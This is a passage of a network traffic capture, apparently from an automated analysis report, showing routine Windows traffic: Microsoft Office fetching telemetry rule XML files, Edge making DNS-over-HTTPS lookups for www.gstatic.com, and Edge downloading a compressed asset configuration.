2024-11-23 18:52:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185250Z-178bfbc474bgvl54hC1NYCsfuw00000004t000000000fntg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:50 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49852	162.159.61.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 18:52:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 18:52:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e735bd01ffb4261-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 18:52:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fe 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185250Z-178bfbc474bv7whqhC1NYC1fg400000004w0000000009md5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49851	172.64.41.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 18:52:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 18:52:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e735bd069a74350-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 18:52:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49853	162.159.61.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 18:52:50 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 18:52:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e735bd0dbe8191e-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 18:52:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ff 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:52 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185252Z-178bfbc474bwlrhlhC1NYCy3kg00000004x0000000006ets x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:52 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:53 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185253Z-178bfbc474btrnf9hC1NYCb80g000000054000000000098n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:53 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:52 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185253Z-178bfbc474bw8bwphC1NYC38b400000004t0000000002ndr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:52 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185253Z-178bfbc474bq2pr7hC1NYCkfgg0000000520000000004z05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:52 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:53 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185253Z-174c587ffdfldtt2hC1TEBwv9c000000033000000000kzck x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49886	13.107.246.63	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:54 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:54 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:54 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: c5064c42-c01e-0035-71d6-3dc652000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185254Z-178bfbc474bgvl54hC1NYCsfuw00000004ug00000000au7z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:54 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 